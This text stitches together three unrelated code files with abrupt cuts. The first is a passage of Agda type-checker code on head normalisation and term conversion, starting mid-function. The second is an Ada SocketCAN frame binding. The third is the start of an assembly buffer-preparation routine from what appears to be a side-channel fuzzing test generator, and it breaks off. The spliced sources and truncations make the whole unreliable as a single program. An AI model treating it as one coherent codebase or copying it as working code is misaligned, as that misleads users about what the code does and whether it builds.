hnf{TYPE} Γ u (Abs _ _ _ _ _ _) _ | tp'' | nothing = tp''
hnf{TYPE} Γ u (TpArrow tp1 arrowtype tp2) _ = TpArrow (hnf Γ u tp1 ff) arrowtype (hnf Γ u tp2 ff)
hnf{TYPE} Γ u (TpEq _ t1 t2 _) _
= TpEq posinfo-gen (erase t1) (erase t2) posinfo-gen
hnf{TYPE} Γ u (TpLambda _ _ x atk tp) _ =
TpLambda posinfo-gen posinfo-gen x (hnf Γ u atk ff) (hnf (ctxt-var-decl x Γ) u tp ff)
hnf{TYPE} Γ u @ (unfold b tt b'' b''') (Lft _ _ y t l) _ =
let t = hnf (ctxt-var-decl y Γ) u t tt in
do-lift Γ (Lft posinfo-gen posinfo-gen y t l) y l (λ t → hnf{TERM} Γ unfold-head t ff) t
-- We need hnf{TYPE} to preserve types' well-kindedness, so we must check if
-- the defined term is being checked against a type and use chi to make sure
-- that wherever it is substituted, the term will have the same directionality.
-- For example, "[e ◂ {a ≃ b} = ρ e' - β] - A (ρ e - a)", would otherwise
-- head-normalize to A (ρ (ρ e' - β) - a), which wouldn't check because it
-- synthesizes the type of "ρ e' - β" (which in turn fails to synthesize the type
-- of "β"). Similar issues could happen if the term is synthesized and it uses a ρ,
-- and then substitutes into a place where it would be checked against a type.
hnf{TYPE} Γ u (TpLet _ (DefTerm _ x ot t) T) hd =
hnf Γ u (subst Γ (Chi posinfo-gen ot t) x T) hd
-- Note that if we ever remove the requirement that type-lambdas have a classifier,
-- we would need to introduce a type-level chi to do the same thing as above.
-- Currently, synthesizing or checking a type should not make a difference.
hnf{TYPE} Γ u (TpLet _ (DefType _ x k T) T') hd = hnf Γ u (subst Γ T x T') hd
hnf{TYPE} Γ u x _ = x
hnf{KIND} Γ no-unfolding e hd = e
hnf{KIND} Γ u (KndParens _ k _) hd = hnf Γ u k hd
hnf{KIND} Γ u@(unfold a _ _ _) (KndVar _ x ys) hd with ctxt-lookup-kind-var-def Γ x
... | nothing = KndVar posinfo-gen x ys
... | just (zs , k) with a | subst-params-args Γ zs ys k
... | tt | (kᵢ , [] , []) = hnf Γ u kᵢ hd
... | ff | (kᵢ , [] , []) = kᵢ
... | tf | (kᵢ , ps , as) = KndVar pi-gen x ys
hnf{KIND} Γ u@(unfold a _ _ _) (KndPi _ _ x atk k) hd =
if is-free-in check-erased x k then
KndPi posinfo-gen posinfo-gen x atk (if a then hnf (ctxt-var-decl x Γ) u k ff else k)
else
tk-arrow-kind atk (if a then hnf Γ u k ff else k)
hnf{KIND} Γ u@(unfold tt _ _ _) (KndArrow k k') hd =
KndArrow (hnf Γ u k ff) (hnf Γ u k' ff)
hnf{KIND} Γ u@(unfold tt _ _ _) (KndTpArrow T k) hd =
KndTpArrow (hnf Γ u T ff) (hnf Γ u k ff)
hnf{KIND} Γ u x hd = x
hnf{LIFTINGTYPE} Γ u x hd = x
hnf{TK} Γ u (Tkk k) _ = Tkk (hnf Γ u k tt)
hnf{TK} Γ u (Tkt tp) _ = Tkt (hnf Γ u tp ff)
hnf{QUALIF} Γ u x hd = x
hnf{ARG} Γ u x hd = x
hnf-optClass Γ u NoClass = NoClass
hnf-optClass Γ u (SomeClass atk) = SomeClass (hnf Γ u atk ff)
{- this function reduces a term to "head-applicative" normal form,
which avoids unfolding definitions if they would lead to a top-level
lambda-abstraction or top-level application headed by a variable for which we
do not have a (global) definition. -}
{-# TERMINATING #-}
hanf : ctxt → (e : 𝔹) → term → term
hanf Γ e t with hnf Γ (unfolding-set-erased unfold-head-one e) t tt
hanf Γ e t | t' with decompose-apps t'
hanf Γ e t | t' | (Var _ x) , [] = t'
hanf Γ e t | t' | (Var _ x) , args with ctxt-lookup-term-var-def Γ x
hanf Γ e t | t' | (Var _ x) , args | nothing = t'
hanf Γ e t | t' | (Var _ x) , args | just _ = hanf Γ e t'
hanf Γ e t | t' | h , args {- h could be a Lambda if args is [] -} = t
-- unfold across the term-type barrier
hnf-term-type : ctxt → (e : 𝔹) → type → type
hnf-term-type Γ e (TpEq _ t1 t2 _) = TpEq posinfo-gen (hanf Γ e t1) (hanf Γ e t2) posinfo-gen
hnf-term-type Γ e (TpAppt tp t) = hnf Γ (unfolding-set-erased unfold-head e) (TpAppt tp (hanf Γ e t)) tt
hnf-term-type Γ e tp = hnf Γ unfold-head tp tt
conv-cases : conv-t cases
conv-cases Γ cs₁ cs₂ = isJust $ foldl (λ c₂ x → x ≫=maybe λ cs₁ → conv-cases' Γ cs₁ c₂) (just cs₁) cs₂ where
conv-cases' : ctxt → cases → case → maybe cases
conv-cases' Γ [] (Case _ x₂ as₂ t₂) = nothing
conv-cases' Γ (c₁ @ (Case _ x₁ as₁ t₁) :: cs₁) c₂ @ (Case _ x₂ as₂ t₂) with conv-ctr Γ x₁ x₂
...| ff = conv-cases' Γ cs₁ c₂ ≫=maybe λ cs₁ → just (c₁ :: cs₁)
...| tt = maybe-if (length as₂ =ℕ length as₁ && conv-term Γ (snd (expand-case c₁)) (snd (expand-case (Case pi-gen x₂ as₂ t₂)))) ≫maybe just cs₁
ctxt-term-udef : posinfo → defScope → opacity → var → term → ctxt → ctxt
conv-term-norm Γ (Var _ x) (Var _ x') = ctxt-eq-rep Γ x x' || conv-ctr Γ x x'
-- hnf implements erasure for terms, so we can ignore some subterms for App and Lam cases below
conv-term-norm Γ (App t1 m t2) (App t1' m' t2') = conv-term-norm Γ t1 t1' && conv-term Γ t2 t2'
conv-term-norm Γ (Lam _ l _ x oc t) (Lam _ l' _ x' oc' t') = conv-term (ctxt-rename x x' (ctxt-var-decl-if x' Γ)) t t'
conv-term-norm Γ (Hole _) _ = tt
conv-term-norm Γ _ (Hole _) = tt
conv-term-norm Γ (Mu _ _ x₁ t₁ _ _ cs₁ _) (Mu _ _ x₂ t₂ _ _ cs₂ _) =
let --fₓ = fresh-var x₂ (ctxt-binds-var Γ) empty-renamectxt
--μ = mlam fₓ $ Mu pi-gen pi-gen x₂ (mvar fₓ) NoType pi-gen cs₂ pi-gen
Γ' = ctxt-rename x₁ x₂ $ ctxt-var-decl x₂ Γ in --ctxt-term-udef pi-gen localScope OpacTrans x₂ μ Γ in
conv-term Γ t₁ t₂ && conv-cases Γ' cs₁ cs₂ -- (subst-cases Γ' id-term (mu-name-cast x₁) cs₁) (subst-cases Γ' id-term (mu-name-cast x₂) cs₂)
conv-term-norm Γ (Mu' _ _ t₁ _ _ cs₁ _) (Mu' _ _ t₂ _ _ cs₂ _) = conv-term Γ t₁ t₂ && conv-cases Γ cs₁ cs₂
{- it can happen that a term is equal to a lambda abstraction in head-normal form,
if that lambda-abstraction would eta-contract following some further beta-reductions.
We implement this here by implicitly eta-expanding the variable and continuing
the comparison.
A simple example is
λ v . t ((λ a . a) v) ≃ t
-}
conv-term-norm Γ (Lam _ l _ x oc t) t' =
let x' = fresh-var x (ctxt-binds-var Γ) empty-renamectxt in
conv-term (ctxt-rename x x' Γ) t (App t' NotErased (Var posinfo-gen x'))
conv-term-norm Γ t' (Lam _ l _ x oc t) =
let x' = fresh-var x (ctxt-binds-var Γ) empty-renamectxt in
conv-term (ctxt-rename x x' Γ) (App t' NotErased (Var posinfo-gen x')) t
conv-term-norm Γ _ _ = ff
conv-type-norm Γ (TpVar _ x) (TpVar _ x') = ctxt-eq-rep Γ x x'
conv-type-norm Γ (TpApp t1 t2) (TpApp t1' t2') = conv-type-norm Γ t1 t1' && conv-type Γ t2 t2'
conv-type-norm Γ (TpAppt t1 t2) (TpAppt t1' t2') = conv-type-norm Γ t1 t1' && conv-term Γ t2 t2'
conv-type-norm Γ (Abs _ b _ x atk tp) (Abs _ b' _ x' atk' tp') =
eq-maybeErased b b' && conv-tk Γ atk atk' && conv-type (ctxt-rename x x' (ctxt-var-decl-if x' Γ)) tp tp'
conv-type-norm Γ (TpArrow tp1 a1 tp2) (TpArrow tp1' a2 tp2') = eq-maybeErased a1 a2 && conv-type Γ tp1 tp1' && conv-type Γ tp2 tp2'
conv-type-norm Γ (TpArrow tp1 a tp2) (Abs _ b _ _ (Tkt tp1') tp2') = eq-maybeErased a b && conv-type Γ tp1 tp1' && conv-type Γ tp2 tp2'
conv-type-norm Γ (Abs _ b _ _ (Tkt tp1) tp2) (TpArrow tp1' a tp2') = eq-maybeErased a b && conv-type Γ tp1 tp1' && conv-type Γ tp2 tp2'
conv-type-norm Γ (Iota _ _ x m tp) (Iota _ _ x' m' tp') =
conv-type Γ m m' && conv-type (ctxt-rename x x' (ctxt-var-decl-if x' Γ)) tp tp'
conv-type-norm Γ (TpEq _ t1 t2 _) (TpEq _ t1' t2' _) = conv-term Γ t1 t1' && conv-term Γ t2 t2'
conv-type-norm Γ (Lft _ _ x t l) (Lft _ _ x' t' l') =
conv-liftingType Γ l l' && conv-term (ctxt-rename x x' (ctxt-var-decl-if x' Γ)) t t'
conv-type-norm Γ (TpLambda _ _ x atk tp) (TpLambda _ _ x' atk' tp') =
conv-tk Γ atk atk' && conv-type (ctxt-rename x x' (ctxt-var-decl-if x' Γ)) tp tp'
{-conv-type-norm Γ (TpLambda _ _ x atk tp) tp' =
let x' = fresh-var x (ctxt-binds-var Γ) empty-renamectxt
tp'' = if tk-is-type atk then TpAppt tp' (mvar x') else TpApp tp' (mtpvar x') in
conv-type-norm (ctxt-rename x x' Γ) tp tp''
conv-type-norm Γ tp' (TpLambda _ _ x atk tp) =
let x' = fresh-var x (ctxt-binds-var Γ) empty-renamectxt
tp'' = if tk-is-type atk then TpAppt tp' (mvar x') else TpApp tp' (mtpvar x') in
conv-type-norm (ctxt-rename x x' Γ) tp'' tp-}
conv-type-norm Γ _ _ = ff
{- even though hnf turns Pi-kinds where the variable is not free in the body into arrow kinds,
we still need to check off-cases, because normalizing the body of a kind could cause the
bound variable to be erased (hence allowing it to match an arrow kind). -}
conv-kind-norm Γ (KndArrow k k₁) (KndArrow k' k'') = conv-kind Γ k k' && conv-kind Γ k₁ k''
conv-kind-norm Γ (KndArrow k k₁) (KndPi _ _ x (Tkk k') k'') = conv-kind Γ k k' && conv-kind Γ k₁ k''
conv-kind-norm Γ (KndArrow k k₁) _ = ff
conv-kind-norm Γ (KndPi _ _ x (Tkk k₁) k) (KndArrow k' k'') = conv-kind Γ k₁ k' && conv-kind Γ k k''
conv-kind-norm Γ (KndPi _ _ x atk k) (KndPi _ _ x' atk' k'') =
conv-tk Γ atk atk' && conv-kind (ctxt-rename x x' (ctxt-var-decl-if x' Γ)) k k''
conv-kind-norm Γ (KndPi _ _ x (Tkt t) k) (KndTpArrow t' k'') = conv-type Γ t t' && conv-kind Γ k k''
conv-kind-norm Γ (KndPi _ _ x (Tkt t) k) _ = ff
conv-kind-norm Γ (KndPi _ _ x (Tkk k') k) _ = ff
conv-kind-norm Γ (KndTpArrow t k) (KndTpArrow t' k') = conv-type Γ t t' && conv-kind Γ k k'
conv-kind-norm Γ (KndTpArrow t k) (KndPi _ _ x (Tkt t') k') = conv-type Γ t t' && conv-kind Γ k k'
conv-kind-norm Γ (KndTpArrow t k) _ = ff
conv-kind-norm Γ (Star x) (Star x') = tt
conv-kind-norm Γ (Star x) _ = ff
conv-kind-norm Γ _ _ = ff -- should not happen, since the kinds are in hnf
conv-tk Γ tk tk' = conv-tke Γ (erase-tk tk) (erase-tk tk')
conv-tke Γ (Tkk k) (Tkk k') = conv-kind Γ k k'
conv-tke Γ (Tkt t) (Tkt t') = conv-type Γ t t'
conv-tke Γ _ _ = ff
conv-liftingType Γ l l' = conv-liftingTypee Γ (erase l) (erase l')
conv-liftingTypee Γ l l' = conv-kind Γ (liftingType-to-kind l) (liftingType-to-kind l')
conv-optClass Γ NoClass NoClass = tt
conv-optClass Γ (SomeClass x) (SomeClass x') = conv-tk Γ (erase-tk x) (erase-tk x')
conv-optClass Γ _ _ = ff
conv-optClasse Γ NoClass NoClass = tt
conv-optClasse Γ (SomeClass x) (SomeClass x') = conv-tk Γ x x'
conv-optClasse Γ _ _ = ff
conv-tty* Γ [] [] = tt
conv-tty* Γ (tterm t :: args) (tterm t' :: args')
= conv-term Γ (erase t) (erase t') && conv-tty* Γ args args'
conv-tty* Γ (ttype t :: args) (ttype t' :: args')
= conv-type Γ (erase t) (erase t') && conv-tty* Γ args args'
conv-tty* Γ _ _ = ff
conv-ttye* Γ [] [] = tt
conv-ttye* Γ (tterm t :: args) (tterm t' :: args') = conv-term Γ t t' && conv-ttye* Γ args args'
conv-ttye* Γ (ttype t :: args) (ttype t' :: args') = conv-type Γ t t' && conv-ttye* Γ args args'
conv-ttye* Γ _ _ = ff
conv-ctr Γ x₁ x₂ = conv-ctr-args Γ (x₁ , []) (x₂ , [])
conv-ctr-ps Γ x₁ x₂ with env-lookup Γ x₁ | env-lookup Γ x₂
...| just (ctr-def ps₁ T₁ n₁ i₁ a₁ , _) | just (ctr-def ps₂ T₂ n₂ i₂ a₂ , _) =
maybe-if (n₁ =ℕ n₂ && i₁ =ℕ i₂ && a₁ =ℕ a₂) ≫maybe
just (erase-params ps₁ , erase-params ps₂)
...| _ | _ = nothing
conv-ctr-args Γ (x₁ , as₁) (x₂ , as₂) =
maybe-else' (conv-ctr-ps Γ x₁ x₂) ff $ uncurry λ ps₁ ps₂ →
conv-argse Γ (drop (length ps₁) $ erase-args as₁) (drop (length ps₂) $ erase-args as₂)
hnf-qualif-term : ctxt → term → term
hnf-qualif-term Γ t = hnf Γ unfold-head (qualif-term Γ t) tt
hnf-qualif-type : ctxt → type → type
hnf-qualif-type Γ t = hnf Γ unfold-head (qualif-type Γ t) tt
hnf-qualif-kind : ctxt → kind → kind
hnf-qualif-kind Γ t = hnf Γ unfold-head (qualif-kind Γ t) tt
{-# TERMINATING #-}
inconv : ctxt → term → term → 𝔹
inconv Γ t₁ t₂ = inconv-lams empty-renamectxt empty-renamectxt
(hnf Γ unfold-all t₁ tt) (hnf Γ unfold-all t₂ tt)
where
fresh : var → renamectxt → renamectxt → var
fresh x ρ₁ = fresh-var x (λ x → ctxt-binds-var Γ x || renamectxt-in-field ρ₁ x)
make-subst : renamectxt → renamectxt → 𝕃 var → 𝕃 var → term → term → (renamectxt × renamectxt × term × term)
make-subst ρ₁ ρ₂ [] [] t₁ t₂ = ρ₁ , ρ₂ , t₁ , t₂ -- subst-renamectxt Γ ρ₁ t₁ , subst-renamectxt Γ ρ₂ t₂
make-subst ρ₁ ρ₂ (x₁ :: xs₁) [] t₁ t₂ =
let x = fresh x₁ ρ₁ ρ₂ in
make-subst (renamectxt-insert ρ₁ x₁ x) (renamectxt-insert ρ₂ x x) xs₁ [] t₁ (mapp t₂ $ mvar x)
make-subst ρ₁ ρ₂ [] (x₂ :: xs₂) t₁ t₂ =
let x = fresh x₂ ρ₁ ρ₂ in
make-subst (renamectxt-insert ρ₁ x x) (renamectxt-insert ρ₂ x₂ x) [] xs₂ (mapp t₁ $ mvar x) t₂
make-subst ρ₁ ρ₂ (x₁ :: xs₁) (x₂ :: xs₂) t₁ t₂ =
let x = fresh x₁ ρ₁ ρ₂ in
make-subst (renamectxt-insert ρ₁ x₁ x) (renamectxt-insert ρ₂ x₂ x) xs₁ xs₂ t₁ t₂
inconv-lams : renamectxt → renamectxt → term → term → 𝔹
inconv-apps : renamectxt → renamectxt → var → var → args → args → 𝔹
inconv-ctrs : renamectxt → renamectxt → var → var → args → args → 𝔹
inconv-mu : renamectxt → renamectxt → maybe (var × var) → cases → cases → 𝔹
inconv-args : renamectxt → renamectxt → args → args → 𝔹
inconv-args ρ₁ ρ₂ a₁ a₂ =
let a₁ = erase-args a₁; a₂ = erase-args a₂ in
~ length a₁ =ℕ length a₂
|| list-any (uncurry $ inconv-lams ρ₁ ρ₂) (zip a₁ a₂)
inconv-lams ρ₁ ρ₂ t₁ t₂ =
elim-pair (decompose-lams t₁) λ l₁ b₁ →
elim-pair (decompose-lams t₂) λ l₂ b₂ →
elim-pair (make-subst ρ₁ ρ₂ l₁ l₂ b₁ b₂) λ ρ₁ ρ₂b₁₂ →
elim-pair ρ₂b₁₂ λ ρ₂ b₁₂ →
elim-pair b₁₂ λ b₁ b₂ →
case (decompose-apps b₁ , decompose-apps b₂) of uncurry λ where
(Var _ x₁ , a₁) (Var _ x₂ , a₂) →
inconv-apps ρ₁ ρ₂ x₁ x₂ a₁ a₂ || inconv-ctrs ρ₁ ρ₂ x₁ x₂ a₁ a₂
(Mu _ _ x₁ t₁ _ _ ms₁ _ , a₁) (Mu _ _ x₂ t₂ _ _ ms₂ _ , a₂) →
inconv-mu ρ₁ ρ₂ (just $ x₁ , x₂) ms₁ ms₂ ||
inconv-lams ρ₁ ρ₂ t₁ t₂ || inconv-args ρ₁ ρ₂ a₁ a₂
(Mu' _ _ t₁ _ _ ms₁ _ , a₁) (Mu' _ _ t₂ _ _ ms₂ _ , a₂) →
inconv-mu ρ₁ ρ₂ nothing ms₁ ms₂ ||
inconv-lams ρ₁ ρ₂ t₁ t₂ || inconv-args ρ₁ ρ₂ a₁ a₂
_ _ → ff
inconv-apps ρ₁ ρ₂ x₁ x₂ a₁ a₂ =
maybe-else' (renamectxt-lookup ρ₁ x₁) ff λ x₁ →
maybe-else' (renamectxt-lookup ρ₂ x₂) ff λ x₂ →
~ x₁ =string x₂
|| inconv-args ρ₁ ρ₂ a₁ a₂
inconv-ctrs ρ₁ ρ₂ x₁ x₂ as₁ as₂ with env-lookup Γ x₁ | env-lookup Γ x₂
...| just (ctr-def ps₁ _ n₁ i₁ a₁ , _) | just (ctr-def ps₂ _ n₂ i₂ a₂ , _) =
let ps₁ = erase-params ps₁; ps₂ = erase-params ps₂
as₁ = erase-args as₁; as₂ = erase-args as₂ in
length as₁ ≤ length ps₁ + a₁ && -- Could use of "≤" here conflict with η-equality?
length as₂ ≤ length ps₂ + a₂ &&
(~ n₁ =ℕ n₂ ||
~ i₁ =ℕ i₂ ||
~ a₁ =ℕ a₂ ||
~ length as₁ + length ps₂ =ℕ length as₂ + length ps₁ ||
-- ^ as₁ ∸ ps₁ ≠ as₂ ∸ ps₂, + ps₁ + ps₂ to both sides ^
list-any (uncurry $ inconv-lams ρ₁ ρ₂)
(zip (drop (length ps₁) as₁) (drop (length ps₂) as₂)))
...| _ | _ = ff
inconv-mu ρ₁ ρ₂ xs? ms₁ ms₂ =
~ length ms₁ =ℕ length ms₂ ||
maybe-else ff id
(foldr {B = maybe 𝔹} (λ c b? → b? ≫=maybe λ b → inconv-case c ≫=maybe λ b' → just (b || b')) (just ff) ms₁)
where
matching-case : case → maybe (term × ℕ × ℕ)
matching-case (Case _ x _ _) = foldl (λ where
(Case _ xₘ cas tₘ) m? → m? maybe-or
(conv-ctr-ps Γ xₘ x ≫=maybe uncurry λ psₘ ps →
just (caseArgs-to-lams cas tₘ , length cas , length ps)))
nothing ms₂
inconv-case : case → maybe 𝔹
inconv-case c₁ @ (Case _ x cas₁ t₁) =
matching-case c₁ ≫=maybe λ c₂ →
just (inconv-lams ρ₁ ρ₂ (caseArgs-to-lams cas₁ t₁) (fst c₂))
ctxt-params-def : params → ctxt → ctxt
ctxt-params-def ps Γ@(mk-ctxt (fn , mn , _ , q) syms i symb-occs Δ) =
mk-ctxt (fn , mn , ps' , q) syms i symb-occs Δ
where ps' = qualif-params Γ ps
ctxt-kind-def : posinfo → var → params → kind → ctxt → ctxt
ctxt-kind-def pi v ps2 k Γ@(mk-ctxt (fn , mn , ps1 , q) (syms , mn-fn) i symb-occs Δ) = mk-ctxt
(fn , mn , ps1 , qualif-insert-params q (mn # v) v ps1)
(trie-insert-append2 syms fn mn v , mn-fn)
(trie-insert i (mn # v) (kind-def (ps1 ++ qualif-params Γ ps2) k' , fn , pi))
symb-occs Δ
where
k' = hnf Γ unfold-head (qualif-kind Γ k) tt
ctxt-datatype-decl : var → var → args → ctxt → ctxt
ctxt-datatype-decl vₒ vᵣ as Γ@(mk-ctxt mod ss is os (Δ , μ' , μ)) =
mk-ctxt mod ss is os $ Δ , trie-insert μ' (mu-Type/ vᵣ) (vₒ , mu-isType/ vₒ , as) , μ
-- assumption: classifier (i.e. kind) already qualified
ctxt-datatype-def : posinfo → var → params → kind → kind → ctrs → ctxt → ctxt
ctxt-datatype-def pi v psᵢ kᵢ k cs Γ@(mk-ctxt (fn , mn , ps , q) (syms , mn-fn) i os (Δ , μ' , μ)) =
let v' = mn # v
q' = qualif-insert-params q v' v ps in
mk-ctxt (fn , mn , ps , q')
(trie-insert-append2 syms fn mn v , mn-fn)
(trie-insert i v' (type-def (just ps) OpacTrans nothing (abs-expand-kind psᵢ k) , fn , pi)) os
(trie-insert Δ v' (ps ++ psᵢ , kᵢ , k , cs) , μ' , trie-insert μ (data-Is/ v') v')
-- assumption: classifier (i.e. kind) already qualified
ctxt-type-def : posinfo → defScope → opacity → var → maybe type → kind → ctxt → ctxt
ctxt-type-def pi s op v t k Γ@(mk-ctxt (fn , mn , ps , q) (syms , mn-fn) i symb-occs Δ) = mk-ctxt
(fn , mn , ps , q')
((if (s iff localScope) then syms else trie-insert-append2 syms fn mn v) , mn-fn)
(trie-insert i v' (type-def (def-params s ps) op t' k , fn , pi))
symb-occs Δ
where
t' = maybe-map (λ t → hnf Γ unfold-head (qualif-type Γ t) tt) t
v' = if s iff localScope then pi % v else mn # v
q' = qualif-insert-params q v' v (if s iff localScope then [] else ps)
ctxt-ctr-def : posinfo → var → type → params → (ctrs-length ctr-index : ℕ) → ctxt → ctxt
ctxt-ctr-def pi c t ps' n i Γ@(mk-ctxt mod@(fn , mn , ps , q) (syms , mn-fn) is symb-occs Δ) = mk-ctxt
(fn , mn , ps , q')
((trie-insert-append2 syms fn mn c) , mn-fn)
(trie-insert is c' (ctr-def (ps ++ ps') t n i (unerased-arrows t) , fn , pi))
symb-occs Δ
where
c' = mn # c
q' = qualif-insert-params q c' c ps
-- assumption: classifier (i.e. type) already qualified
ctxt-term-def : posinfo → defScope → opacity → var → maybe term → type → ctxt → ctxt
ctxt-term-def pi s op v t tp Γ@(mk-ctxt (fn , mn , ps , q) (syms , mn-fn) i symb-occs Δ) = mk-ctxt
(fn , mn , ps , q')
((if (s iff localScope) then syms else trie-insert-append2 syms fn mn v) , mn-fn)
(trie-insert i v' (term-def (def-params s ps) op t' tp , fn , pi))
symb-occs Δ
where
t' = maybe-map (λ t → hnf Γ unfold-head (qualif-term Γ t) tt) t
v' = if s iff localScope then pi % v else mn # v
q' = qualif-insert-params q v' v (if s iff localScope then [] else ps)
ctxt-term-udef pi s op v t Γ@(mk-ctxt (fn , mn , ps , q) (syms , mn-fn) i symb-occs Δ) = mk-ctxt
(fn , mn , ps , qualif-insert-params q v' v (if s iff localScope then [] else ps))
((if (s iff localScope) then syms else trie-insert-append2 syms fn mn v) , mn-fn)
(trie-insert i v' (term-udef (def-params s ps) op t' , fn , pi))
symb-occs Δ
where
t' = hnf Γ unfold-head (qualif-term Γ t) tt
v' = if s iff localScope then pi % v else mn # v
|
src/sockets-can_frame.ads | glencornell/ada-socketcan | 2 | 19049 | -- MIT License
--
-- Copyright (c) 2021 <NAME> <<EMAIL>>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in all
-- copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-- SOFTWARE.
with Interfaces;
package Sockets.Can_Frame is
pragma Pure;
type Can_Id_Type is mod 2 ** 32;
-- special address description flags for the CAN ID
CAN_EFF_FLAG : constant := 16#80000000#; -- EFF/SFF is set in the MSB
CAN_RTR_FLAG : constant := 16#40000000#; -- remote transmission request
CAN_ERR_FLAG : constant := 16#20000000#; -- error message frame
-- valid bits in CAN ID for frame formats
CAN_SFF_MASK : constant := 16#000007FF#; -- standard frame format (SFF)
CAN_EFF_MASK : constant := 16#1FFFFFFF#; -- extended frame format (EFF)
CAN_ERR_MASK : constant := 16#1FFFFFFF#; -- omit EFF, RTR, ERR flags
CAN_SFF_ID_BITS : constant := 11;
CAN_EFF_ID_BITS : constant := 29;
-- DLC = data length code = CAN frame payload size in bytes [0..8]
type Can_Dlc_Type is range 0..8;
-- The CAN frame payload data
type Can_Frame_Data_Array is array (Can_Dlc_Type range 1 .. Can_Dlc_Type'Last) of aliased Interfaces.Unsigned_8;
-- The same as above, but for use in thick bindings
type Unconstrained_Can_Frame_Data_Array is array (Can_Dlc_Type range <>) of aliased Interfaces.Unsigned_8;
---------------------------------
-- Basic CAN frame defintion --
---------------------------------
type can_frame is record
Can_Id : aliased Can_Id_Type; -- 32 bit CAN_ID + EFF/RTR/ERR flags
Can_Dlc : aliased Can_Dlc_Type; -- frame payload length in bytes
Uu_Pad : aliased Interfaces.Unsigned_8; -- padding
Uu_Res0 : aliased Interfaces.Unsigned_8; -- reserved / padding
Uu_Res1 : aliased Interfaces.Unsigned_8; -- reserved / padding
Data : aliased Can_Frame_Data_Array;
end record;
-------------------
-- CAN-FD Frame --
-------------------
-- defined bits for canfd_frame.flags
--
-- The use of struct canfd_frame implies the Extended Data Length (EDL) bit to
-- be set in the CAN frame bitstream on the wire. The EDL bit switch turns
-- the CAN controllers bitstream processor into the CAN FD mode which creates
-- two new options within the CAN FD frame specification:
--
-- Bit Rate Switch - to indicate a second bitrate is/was used for the payload
-- Error State Indicator - represents the error state of the transmitting node
--
-- As the CANFD_ESI bit is internally generated by the transmitting CAN
-- controller only the CANFD_BRS bit is relevant for real CAN controllers when
-- building a CAN FD frame for transmission. Setting the CANFD_ESI bit can make
-- sense for virtual CAN interfaces to test applications with echoed frames.
--
CANFD_BRS : constant := 16#01#;
CANFD_ESI : constant := 16#02#;
-- CAN flexible data rate frame payload data
type Canfd_Dlc_Type is range 0 .. 64;
type Canfd_Frame_Data_Array is array (Canfd_Dlc_Type range 1 .. Canfd_Dlc_Type'Last) of aliased Interfaces.Unsigned_8;
-- CAN flexible data rate frame defintion
type Canfd_Frame is record
Can_Id : aliased Can_Id_Type; -- 32 bit CAN_ID + EFF / RTR / ERR flags
Len : aliased Canfd_Dlc_type; -- frame payload length in byte
Flags : aliased Interfaces.Unsigned_8; -- additional flags for CAN FD
Uu_Res0 : aliased Interfaces.Unsigned_8; -- reserved / padding
Uu_Res1 : aliased Interfaces.Unsigned_8; -- reserved / padding
Data : aliased Canfd_Frame_Data_Array; -- CAN FD frame payload
end record;
private
pragma Pack (Can_Frame_Data_Array);
pragma Convention (C, Can_Frame_Data_Array);
pragma Convention (C_Pass_By_Copy, can_frame);
for Can_Frame'Size use 128;
for Can_Frame use record
Can_Id at 0 range 0 .. 31;
Can_Dlc at 4 range 0 .. 7;
Uu_Pad at 5 range 0 .. 7;
Uu_Res0 at 6 range 0 .. 7;
Uu_Res1 at 7 range 0 .. 7;
Data at 8 range 0 .. 63;
end record;
pragma Pack (Canfd_Frame_Data_Array);
pragma Convention (C, Canfd_Frame_Data_Array);
pragma Convention (C_Pass_By_Copy, canfd_frame);
for Canfd_Frame' Size use 576;
for Canfd_Frame use record
Can_Id at 0 range 0 .. 31;
Len at 4 range 0 .. 7;
Flags at 5 range 0 .. 7;
Uu_Res0 at 6 range 0 .. 7;
Uu_Res1 at 7 range 0 .. 7;
Data at 8 range 0 .. 511;
end record;
end Sockets.Can_Frame;
|
Transynther/x86/_processed/NC/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_4627_531.asm | ljhsiun2/medusa | 9 | 173386 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1eed2, %r13
nop
nop
nop
nop
nop
xor %r11, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
movups %xmm2, (%r13)
nop
nop
xor %rcx, %rcx
lea addresses_A_ht+0xdcd2, %rcx
nop
nop
nop
dec %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm3
vmovups %ymm3, (%rcx)
nop
sub $57484, %rax
lea addresses_D_ht+0x544a, %r15
nop
nop
nop
nop
nop
xor $53851, %rax
movb $0x61, (%r15)
nop
xor %rcx, %rcx
lea addresses_normal_ht+0x6452, %r13
nop
nop
add %rbp, %rbp
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
and $0xffffffffffffffc0, %r13
movaps %xmm1, (%r13)
nop
nop
nop
nop
nop
cmp $4662, %rbp
lea addresses_normal_ht+0x110d2, %r13
clflush (%r13)
nop
and $23189, %r15
mov (%r13), %rbp
nop
lfence
lea addresses_normal_ht+0x11f1a, %rsi
lea addresses_WC_ht+0x14452, %rdi
clflush (%rsi)
nop
add %rax, %rax
mov $83, %rcx
rep movsl
nop
nop
nop
nop
sub %r11, %r11
lea addresses_UC_ht+0x9e12, %rsi
nop
nop
nop
nop
nop
add %r11, %r11
movl $0x61626364, (%rsi)
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WC_ht+0x178d2, %r11
nop
nop
nop
nop
nop
and $59539, %rax
movl $0x61626364, (%r11)
nop
nop
nop
xor %rcx, %rcx
